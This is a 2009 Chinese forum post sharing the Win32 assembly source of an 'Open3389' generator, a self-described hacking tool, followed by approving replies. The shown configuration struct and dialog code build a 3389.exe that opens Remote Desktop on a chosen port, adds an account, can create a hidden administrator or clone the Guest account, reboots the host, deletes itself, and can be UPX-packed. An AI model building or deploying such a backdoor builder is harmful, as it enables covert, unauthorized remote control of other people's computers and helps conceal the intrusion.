首页
社区
课程
招聘
[原创]Open3389生成器(WIN32ASM)
发表于: 2009-8-25 17:59 20657

[原创]Open3389生成器(WIN32ASM)

2009-8-25 17:59
20657

【文章标题】: 【原创】Open3389生成器(WIN32ASM)
【文章作者】: 非虫
【作者邮箱】: fei_cong@hotmail.com
【作者主页】: http://blog.sina.com.cn/feicong0809
【软件名称】: Open3389生成器(WIN32ASM)
【下载地址】: 自己搜索下载
【编写语言】: win32asm
【软件介绍】: 开3389用的小黑工具
--------------------------------------------------------------------------------
  
  本人菜鸟一只。
  
  程序用到结构,用来配置生成器
  MODIFY_DATA struct
          tsport                        DWORD        ?                        ;3389端口
          local_user                db                16 dup(?)        ;添加用户名
          local_pwd                db                16 dup(?)        ;用户名密码
          guest_pwd                db                16 dup(?)
          bHide                        BOOL        ?                ;是否建立隐藏管理员
          bGuest                        BOOL        ?                ;克隆Guest
          bReboot                        BOOL        ?                ;自动重启?
          bDelself                BOOL        ?                ;删除自身?
  MODIFY_DATA        ends
  
  
  看下架设函数,完整程序见打包文件。
  ;窗口回调子程序
  DlgProc proc hWnd:HWND,uMsg:UINT,wParam:WPARAM,lParam:LPARAM
         
          mov                eax,uMsg
          .if eax==WM_INITDIALOG
                  push        hWnd
                  pop                hWinMain
                 
                  mov                eax,1
                  sub                eax,stmod.bDelself
                  xchg        eax,stmod.bDelself
                 
                  mov                eax,1
                  sub                eax,bKE
                  xchg        eax,bKE
                  invoke        DoCheck
  ;************************    改变图标  ******************************************************               
                  invoke        LoadIcon,hInstance,ICO_1
                  push        eax
                  invoke        SendMessage,hWnd,WM_SETICON,ICON_BIG,eax
                  pop                eax
                  invoke        DeleteObject,eax
  ;***********************      背景颜色  *******************************************************
                  invoke        CreateSolidBrush,0ff00h                ;背景颜色                绿色环保 ^_^
                  mov                hBrush1,eax
  
  ;**********************      字数限制    ********************************************************
                  invoke        SendDlgItemMessage,hWnd,IDC_PORT,EM_LIMITTEXT,5,0        ;port < 65535
                  invoke        SendDlgItemMessage,hWnd,IDC_USER,EM_LIMITTEXT,15,0        ;16 - 1
                  invoke        SendDlgItemMessage,hWnd,IDC_PASS,EM_LIMITTEXT,15,0
                  invoke        SendDlgItemMessage,hWnd,IDC_GUESTPASS,EM_LIMITTEXT,15,0
  
  ;*********************     子类化按钮   *********************************************************
                  invoke        GetDlgItem,hWnd,IDC_BUILD
                  mov                hBtn1,eax
                  invoke        GetDlgItem,hWnd,IDC_ABOUT
                  mov                hBtn2,eax
                  invoke        GetDlgItem,hWnd,IDC_EXIT
                  mov                hBtn3,eax
                 
                  invoke        SubBmpBtn,hBtn1
                  invoke        SubBmpBtn,hBtn2
                  invoke        SubBmpBtn,hBtn3
                 
  ;********************     画背景    **********************************************************
          .elseif eax == WM_CTLCOLORDLG
                  mov                eax,hBrush1
                  ret
                 
          .elseif eax == WM_CTLCOLOREDIT
                  invoke        SetBkMode,wParam,TRANSPARENT
                  invoke        SetTextColor,wParam,Red
                  mov                eax,hBrush1
                  ret
                 
          .elseif eax == WM_CTLCOLORSTATIC
                  invoke        SetBkMode,wParam,TRANSPARENT
                  mov                eax,hBrush1
                  ret
  
  ;*********************   按钮自给制   *********************************************************
          .elseif uMsg == WM_DRAWITEM
                  mov        eax,wParam
                  switch        eax
                          case        IDC_BUILD
                                  invoke        SendMessage,hBtn1,WM_DRAWITEM,wParam,lParam
                                  ret
                          case        IDC_ABOUT
                                  invoke        SendMessage,hBtn2,WM_DRAWITEM,wParam,lParam
                                  ret
                          case        IDC_EXIT
                                  invoke        SendMessage,hBtn3,WM_DRAWITEM,wParam,lParam
                                  ret
                                                 
                  endsw
                 
  ;***********************   命令消息响应    *******************************************************                       
          .elseif eax==WM_COMMAND
                  mov        eax,wParam
                  movzx        eax,ax
                  .if        eax == IDC_EXIT
                          invoke        SendMessage,hWnd,WM_CLOSE,0,0
                         
                  .elseif eax == IDC_ABOUT
                          invoke        MessageBox,hWnd,addr szAbout,CTXT('关于'),MB_OK
                         
                  .elseif eax == IDC_REBOOT
                          mov                eax,1
                          sub                eax,stmod.bReboot
                          xchg        eax,stmod.bReboot
                          invoke        DoCheck
                         
                  .elseif eax == IDC_DELSELF
                          mov                eax,1
                          sub                eax,stmod.bDelself
                          xchg        eax,stmod.bDelself
                          invoke        DoCheck
                         
                  .elseif eax == IDC_KE
                          mov                eax,1
                          sub                eax,bKE
                          xchg        eax,bKE
                          invoke        DoCheck
                         
                  .elseif eax == IDC_ALLOWUSER
                          mov                eax,1
                          sub                eax,stmod.bHide
                          xchg        eax,stmod.bHide
                          invoke        DoCheck
                         
                  .elseif eax == IDC_ALLOWCLONE
                          mov                eax,1
                          sub                eax,stmod.bGuest
                          xchg        eax,stmod.bGuest
                          invoke        DoCheck
                         
                         
                  .elseif eax == IDC_BUILD                ;生成
                          invoke        GetModInfo                ;读MOD               
                          invoke        WriteModInfo        ;写MOD       
  
                          .if                bKE                ;加壳吗??
                                  invoke        ExtractRes,hInstance,IRS_UPX,RT_RCDATA,CTXT("upx.exe")
                                  invoke        RunCmd,CTXT("upx.exe -q -f 3389.exe")
                                  invoke        DeleteFile,CTXT("upx.exe")
                          .endif                       
                         
                          invoke MessageBox,hWnd,CTXT("3389.exe已生成!"),CTXT('提示'),0
                                 
                  .endif
                 
          .elseif eax==WM_CLOSE
                  .if        hBrush1
                          invoke        DeleteObject,hBrush1        ;销毁背景画刷句柄
                  .endif
                  invoke EndDialog,hWnd,0
                 
          .else
                  mov                eax,FALSE
                  ret
          .endif
          mov                eax,TRUE
          ret
  
  DlgProc endp
  
  最后说下程序的调试,当时没装虚拟机,调试重启就是不成功,后来一瞬间的重启还人感觉很爽啊!!(疯了)
  
  
  
  
  
--------------------------------------------------------------------------------
【版权声明】: 切勿用于非法用途

                                                       2009年08月25日 17:58:08


[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

上传的附件:
收藏
免费 7
支持
分享
最新回复 (8)
雪    币: 235
活跃值: (10)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
2
不错呀,还带源码,好同学!
2009-8-27 16:33
0
雪    币: 222
活跃值: (10)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
3
不错,这是新人版块吗?
2009-8-28 08:33
0
雪    币: 7115
活跃值: (639)
能力值: (RANK:1290 )
在线值:
发帖
回帖
粉丝
4
我有朋友会喜欢这些东西。。。 e~~~~~
2009-8-30 20:32
0
雪    币: 246
活跃值: (99)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
学习是中生活的态度
2009-9-16 11:13
0
雪    币: 563
活跃值: (101)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
学习了
2009-9-21 16:53
0
雪    币: 808
活跃值: (10)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
7
很有使用价值。
2009-12-21 23:39
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
怎么才能下载代码呢
2011-12-3 10:45
0
雪    币: 202
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
看你的软件很钦佩,我只会用
2012-10-4 03:24
0
游客
登录 | 注册 方可回帖
返回
//